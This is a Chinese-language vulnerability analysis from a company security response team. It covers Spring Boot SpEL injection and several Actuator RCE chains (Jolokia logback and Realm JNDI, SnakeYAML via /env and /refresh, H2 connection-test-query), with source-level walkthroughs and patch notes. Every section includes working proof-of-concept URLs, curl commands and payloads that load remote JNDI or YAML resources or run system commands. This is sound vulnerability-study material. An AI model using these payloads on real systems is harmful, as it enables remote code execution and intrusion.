Spring Boot SpEL表达式注入及Actuator漏洞

  • A+
所属分类:安全文章
Spring Boot SpEL表达式注入及Actuator漏洞

本期分享一波高质量技术文

主题分三部分:

Spring Boot SpEL表达式注入

Spring Boot Actuator漏洞-上

Spring Boot Actuator漏洞-下

满屏干货

且往下看

Spring Boot SpEL表达式注入及Actuator漏洞
01
Spring Boot SpEL表达式注入

前言

Spring Boot 是由 Pivotal 团队提供用来简化 Spring 的搭建和开发过程的全新框架。本次分析的是spring boot中的一个老洞 Whitelabel Error Page SpEL RCE

 

利用条件

 spring boot版本:1.1.0-1.1.12、1.2.0-1.2.7、1.3.0

 存在一个接口将用户参数作为异常内容抛出,输出在默认错误页面

 

PoC

demo https://github.com/hex0wn/learn-java-bug/tree/master/springboot-spel

执行calc

http://localhost:8080/index?name=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}

 

漏洞分析

org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration中处理默认错误页面的展示,错误页面模板如下:


Spring Boot SpEL表达式注入及Actuator漏洞


通过render渲染展示,实际调用到了org.springframework.util.PropertyPlaceholderHelper.parseStringValue()


Spring Boot SpEL表达式注入及Actuator漏洞

 

 parseStringValue函数的功能:

1. 先从模板字符串中定位占位符的前后缀${ }的位置,取出占位符placeholder,如果没有占位符则跳出递归直接返回原字符串。

2. 递归调用parseStringValue解析placeholder,placeholder中肯定是匹配不到 },所以原样返回。

3. 调用placeholderResolver.resolvePlaceholder解析placeholder,也就是将placeholder作为spel表达式执行得到结果并进行html转义后返回给propVal。

4. 如果propVal不为空,则递归调用parseStringValue解析propVal,并且将解析结果更新到字符串中。

5. 继续循环处理后面的字符串

主要的问题就是递归的解析propVal,导致了spel注入。placeholder为message时,解析出的propVal为我们抛出的异常信息。而后面又对propVal递归的进行parseStringValue()解析


Spring Boot SpEL表达式注入及Actuator漏洞

 

补丁分析

将原来的PropertyPlaceholderHelper替换为NonRecursivePropertyPlaceholderHelper,并且把原来的PlaceholderResolver拆分成ExpressionCollector解析表达式和ExpressionResolver执行表达式。SpelView初始化时通过ExpressionCollector解析出模板中的表达式存储到变量this.expressions,这个过程中propVal的返回值为null,此时不会递归调用parseStringValue。


Spring Boot SpEL表达式注入及Actuator漏洞

render()渲染时再注入ExpressionResolver进行调用,此时有两个防护措施。一是解析出propVal后递归调用parseStringValue,此时会将placeholderResolver用NonRecursivePlaceholderResolver封装一层再调用原方法。递归调用时实际调用的是NonRecursivePlaceholderResolver.resolvePlaceholder方法来执行表达式,它对递归调用进行了拦截。二是ExpressionResolver只会执行之前解析出来的表达式,也避免了递归执行spel的情况。


Spring Boot SpEL表达式注入及Actuator漏洞


NonRecursivePropertyPlaceholderHelper的具体内容


Spring Boot SpEL表达式注入及Actuator漏洞

 

实际案例

CVE-2016-4977 Spring Security OAuth RCE https://paper.seebug.org/70/#1

https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/

 


02
Spring Boot Actuator漏洞-上

介绍

Spring Boot Actuator可以帮助你监控和管理Spring Boot应用,比如健康检查、审计、统计和HTTP追踪等。如果Spring Boot Actuator配置不当对外开放,轻则造成信息泄漏,重则RCE。以下所有关于actuator的漏洞均需要存在spring-boot-starter-actuator组件依赖



Spring Boot SpEL表达式注入及Actuator漏洞

敏感信息泄漏

除了低版本的没权限限制,高版本状态下如果不乱配置基本上还是比较安全


利用条件

1 - 1.4版本默认无权限限制,从1.5开始除/health、/info其他接口默认有权限校验

1.x版本将路由注册到根路径,而2.x版本将路由移动到了/actuator/。并且2.x版本默认只启用health、info


PoC

/dump - 显示线程转储

/trace - 显示最后几条HTTP消息

/logfile - 输出日志文件的内容

/shutdown - 关闭应用程序

/mappings - 显示所有MVC控制器映射

/env - 提供对配置环境的访问

/restart - 重新启动应用程序


 


Spring Boot SpEL表达式注入及Actuator漏洞

jolokia logback RCE

Jolokia 是一个用来访问远程 JMX MBeans 的方法,

通过配合jolokie调用

ch.qos.logback.classic.jmx.JMXConfigurator.reloadByURL可以实现rce


利用条件

依赖组件org.jolokia:jolokia-core

访问 /jolokia/list 接口,存在 ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL(默认不存在,配置logback.xml后存在)

 

PoC

demo https://github.com/hex0wn/learn-java-bug/tree/master/springboot-jolokia-logback

http://localhost:8080/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/localhost!/evil.xml


evil.xml的内容如下:

<configuration>

  <insertFromJNDI env-entry-name="ldap://localhost:389/Exploit" as="appName" />

</configuration>


漏洞分析

根据启动日志可以看到/jolokia/** 被绑定到了org.springframework.boot.actuate.endpoint.mvc.JolokiaMvcEndpoint.handle。这里的controller为AgentServlet,会将doGet和doPost请求转发到HttpRequestHandler的handleGetRequest、handlePostRequest。两者的流程基本相似,都先通过请求参数创建JmxRequest对象,然后执行jmx请求executeRequest(jmxReq)


Spring Boot SpEL表达式注入及Actuator漏洞


创建JmxRequest对象时,先取出第一段参数作为请求类型,支持的类型如下  

read 读取MBean属性

write 修改MBean属性

list 列出所有MBean的信息

exec 执行公开JMX方法

version 返回Jolokia的版本以及协议版本

search 查询具有给定模式的MBean

 

然后将剩下的pathInfo元素作为参数生成对应的JmxRequest对象


Spring Boot SpEL表达式注入及Actuator漏洞


执行时JmxRequest对象经过层层转发,最终在ExecHandler.doHandleRequest中查找并调用bean对象。这里根据jmx请求解析到对应的方法和参数类型,设置完参数后进行调用。我们上面的PoC /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/localhost!/evil.xml,最终会调用ch.qos.logback.classic.jmx.JMXConfigurat.reloadByURL()方法触发jndi注入


Spring Boot SpEL表达式注入及Actuator漏洞


看看reloadByURL方法,主要是调用JoranConfigurator加载远程配置文件,通过标签insertFromJNDI进行jndi注入。参考文档:

http://www.logback.cn/03%E7%AC%AC%E4%B8%89%E7%AB%A0logback%E7%9A%84%E9%85%8D%E7%BD%AE.html#%E4%BB%8E-jndi-%E4%B8%AD%E8%8E%B7%E5%8F%96%E5%8F%98%E9%87%8F


Spring Boot SpEL表达式注入及Actuator漏洞

 


Spring Boot SpEL表达式注入及Actuator漏洞

jolokia Realm RCE

同样是调用jolokia接口,但通过Realm相关的Bean进行利用。


利用条件

依赖组件org.jolokia:jolokia-core

访问 /jolokia/list 接口,存在 type=MBeanFactory 和 createJNDIRealm(1.x 默认存在,2.1.x及以下默认存在)


PoC

demo https://github.com/hex0wn/learn-java-bug/tree/master/springboot-jolokia-realm

curl -X POST -H 'Content-Type: application/json' http://localhost:8080/actuator/jolokia -d '[{"mbean": "Tomcat:type=MBeanFactory", "type": "EXEC", "operation": "createJNDIRealm", "arguments": ["Tomcat:type=Engine"]}, {"mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "WRITE", "attribute": "contextFactory", "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"}, {"mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "WRITE", "attribute": "connectionURL", "value": "rmi://localhost:1099/Exploit"}, {"mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "EXEC", "operation": "stop", "arguments": []}, {"mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "EXEC", "operation": "start", "arguments": []}]'


漏洞分析

整个过程中进行了5次jmx请求,首先通过MBeanFactory.createJNDIRealm创建一个JNDIRealm并绑定到父容器


Spring Boot SpEL表达式注入及Actuator漏洞


PoC中使用的父容器名称为Tomcat:type=Engine,对于这个取值有点好奇。看了下查找容器的代码,此处的容器名称也可以是Tomcat:type=Host,host=localhost,对应生成的realm名称为Tomcat:host=localhost,realmPath=/realm0,type=Realm


Spring Boot SpEL表达式注入及Actuator漏洞


然后设置

contextFactory=com.sun.jndi.rmi.registry.RegistryContextFactory、connectionURL=rmi://localhost:1099/Exploit

最后再重新启动realm,创建新的InitialDirContext造成jndi注入。


Spring Boot SpEL表达式注入及Actuator漏洞


可以看到PoC中使用的rmi进行jndi注入,很疑惑为什么不使用ldap。刚学完jndi注入的我兴冲冲地修改PoC使用ldap协议,但经过调试后发现LdapCtxFactory.getInitialContext函数不会调用lookup,所以不会触发jndi注入。具体分析略

另外原作者还在这里利用org.apache.naming.factory.BeanFactory绕过高版本的jndi注入限制。

 

 

参考链接

https://github.com/LandGrey/SpringBootVulExploit

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html

https://jolokia.org/reference/html/protocol.html#jolokia-operations

 

 

03
Spring Boot Actuator漏洞-下


前言

接上篇,前面分析了Spring Boot Actuator中利用jolokia组件进行RCE。本篇中继续分析利用Spring生态中的另一重要组件Spring Cloud来完成RCE。Spring Cloud 为开发者提供了在分布式系统(如配置管理、服务发现、断路器、智能路由、微代理、控制总线、一次性 Token、全局锁、决策竞选、分布式会话和集群状态)操作的开发工具


 

Spring Boot SpEL表达式注入及Actuator漏洞

SnakeYAML  RCE

通过/env设置spring cloud配置文件地址,然后/refresh加载配置文档导致yaml反序列化RCE


利用条件

可以 POST 请求目标网站的 /env 、/refresh,存在spring-cloud-context依赖才能POST

spring-cloud-context版本小于1.3.0或者spring-cloud-dependencies版本<=Dalston


PoC

demo https://github.com/hex0wn/learn-java-bug/tree/master/springboot-cloud-yaml


1. curl -X POST localhost:8080/env -d

"spring.cloud.bootstrap.location=http://localhost/jndi.yml"


jndi.yml内容如下

foo: !!com.sun.rowset.JdbcRowSetImpl

  dataSourceName: "ldap://localhost:389/Exploit"

  autoCommit: true


2. curl -X POST localhost:8080/refresh


漏洞分析

POST/env设置环境变量,此时调用方法org.springframework.cloud.context.environment.EnvironmentManagerMvcEndpoint.value()。初次调用时先注入变量map初始化一个name=manager的MapPropertySource,然后将设置的环境变量通过map写入到environment。


Spring Boot SpEL表达式注入及Actuator漏洞


最后将事件EnvironmentChangeEvent广播发送给监听器进行处理,在SimpleApplicationEventMulticaster.multicastEvent中处理监听器调度。系统共注册了30个监听器,从中筛选出支持EnvironmentChangeEvent的监听器执行,依次执行了 ConfigFileApplicationListener、DelegatingApplicationListener、ConfigurationPropertiesRebinder、LoggingRebinder。至此环境变量设置过程结束


Spring Boot SpEL表达式注入及Actuator漏洞


再通过/refresh刷新配置,对应的方法org.springframework.cloud.endpoint.GenericPostableMvcEndpoint.invoke() 。经过一层又一层的invoke转发,代码执行到ContextRefresher.refresh


Spring Boot SpEL表达式注入及Actuator漏洞


refresh的功能:

1.获取刷新前除standardSources(systemProperties、systemEnvironment、jndiProperties、servletConfigInitParams、servletContextInitParams)以外的配置

2. addConfigFilesToEnvironment加载最新配置

3. 比较得出变动的配置,并且广播EnvironmentChangeEvent事件

4. 调用refreshScope的refreshAll方法刷新范围

重点看看第2步addConfigFilesToEnvironment,复制环境变量然后生成SpringApplicationBuilder,并且绑定了两个监听器:BootstrapApplicationListener、ConfigFileApplicationListener,然后调用builder.run()-->SpringApplication.run()生成刷新一个新的application


Spring Boot SpEL表达式注入及Actuator漏洞


SpringApplication.run()函数中会调用prepareEnvironment准备好环境变量,然后对监听器广播ApplicationEnvironmentPreparedEvent事件。其中调用了上面那两个非常重要的监听器

BootstrapApplicationListener中解析了${spring.cloud.bootstrap.location:}并创建了name=bootstrap的MapPropertySource


Spring Boot SpEL表达式注入及Actuator漏洞


resolvePlaceholders通过PropertyPlaceholderHelper.parseStringValue来解析字符串,这个函数看着是不是很眼熟?之前SpEL表达式注入就是这个函数导致的,这里也会存在递归解析的问题。第一感觉是这里是不是也能通过SpEL注入来利用,但这里传入的PlaceholderResolver和之前解析SpEL的那个不一样,所以这里用不了SpEL注入


Spring Boot SpEL表达式注入及Actuator漏洞


然后在监听器ConfigFileApplicationListener.load中加载配置文件,这里存在两种加载器PropertiesPropertySourceLoader和YamlPropertySourceLoader


Spring Boot SpEL表达式注入及Actuator漏洞


使用YamlPropertySourceLoader来加载配置时,最终在YamlProcessor.process中使用Yaml来解析,触发反序列化漏洞


Spring Boot SpEL表达式注入及Actuator漏洞

 


Spring Boot SpEL表达式注入及Actuator漏洞

h2 database query RCE

通过/env设置恶意环境变量,然后重启应用使h2 database执行恶意sql语句从而rce


利用条件

存在spring-boot-starter-actuator、spring-boot-starter-data-jpa、com.h2database.h2 依赖

可以 POST 请求目标网站的 /env 、/restart,存在spring-cloud-context依赖才能POST

1.x下不开权限验证无法使用/restart,2.x没有此限制


PoC

demo https://github.com/hex0wn/learn-java-bug/tree/master/springboot-cloud-h2

1. 设置环境变量

POST /actuator/env HTTP/1.1

Host: localhost:8080

Content-Type: application/json

 

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}


2. 重启应用

curl -X POST localhost:8080/actuator/restart -H 'Content-Type: application/json'


漏洞分析

写入环境变量的过程和上面一样,不再分析。重启的代码在org.springframework.cloud.context.restart.RestartEndpoint.doRestart()

关闭当前context及父context,再次调用application.run启动应用。但是过程中为什么会触发h2执行sql语句呢?


Spring Boot SpEL表达式注入及Actuator漏洞


启动的过程中会初始化各种bean,经过不断的调试程序执行到org.springframework.boot.actuate.autoconfigure.jdbc.DataSourceHealthContributorAutoConfiguration.createIndicator,这里创建了一个DataSourceHealthIndicator对象,这个对象是用来检测DataSource是否可用

 

Spring Boot SpEL表达式注入及Actuator漏洞


这里传入的参数是通过getConnectionTestQuery()获取,正好是我们在环境变量中设置的值


Spring Boot SpEL表达式注入及Actuator漏洞


再看看DataSource健康检查的逻辑,获取测试语句进行执行。


Spring Boot SpEL表达式注入及Actuator漏洞


感觉一下整个流程就通了,然而实际情况却给我当头一棒。首先我们设置的sql语句是怎么从环境变量注入到getDataSource().getConnectionTestQuery()这里的?然后继续调试的过程中发现restart时并不会执行DataSourceHealthIndicator中健康检测的代码,所以漏洞也并不是在这里触发。getConnectionTestQuery涉及到spring boot的自动装配等特性,不太熟悉spring boot的原理,暂时略过这部分。

经过一番分析,想到根据getConnectionTestQuery关键字来查找,顺利定位到com.zaxxer.hikari.pool.PoolBase.checkValidationSupport()方法,这里基本上就是案发现场了


Spring Boot SpEL表达式注入及Actuator漏洞

Spring Boot SpEL表达式注入及Actuator漏洞


当然除了这里,利用/health接口触发健康检查也能够执行命令。同理spring.datasource.hikari.connection-init-sql这个属性也能造成命令执行

 

其他

还有eureka xstream deserialization、mysql jdbc deserialization 原理都差不多,暂时先不分析了。详细的SpringBoot利用可以看LandGrey的总结 https://github.com/LandGrey/SpringBootVulExploit

 

参考链接

https://www.cnblogs.com/niechen/p/8979578.html  深入理解SpringCloud之配置刷新

https://docs.spring.io/spring-boot/docs/current/reference/html/appendix-application-properties.html spring boot属性列表

https://www.freebuf.com/articles/web/223923.html Spring Cloud Env学习笔记


Spring Boot SpEL表达式注入及Actuator漏洞

学习完毕

今天的你是不是元气满满的一天呢

想要查看更多精彩内容

请关注我们

 

Spring Boot SpEL表达式注入及Actuator漏洞

斗鱼安全应急响应中心


斗鱼安全应急响应中心(DYSRC,https://security.douyu.com/)是斗鱼安全建立的安全漏洞收集及安全应急响应平台,致力于保障斗鱼旗下所有产品及用户信息安全,与各界安全人员及安全组织、团队共建文明网络安全。


鱼塘里的小鲨鱼都是萌萌小可爱,期待你们来守护小鲨鱼的安全!我们会不定期开展各种奖励活动,给守护斗鱼安全的白帽子创造更大的价值和福利。



Spring Boot SpEL表达式注入及Actuator漏洞

本文始发于微信公众号(斗鱼安全应急响应中心):Spring Boot SpEL表达式注入及Actuator漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: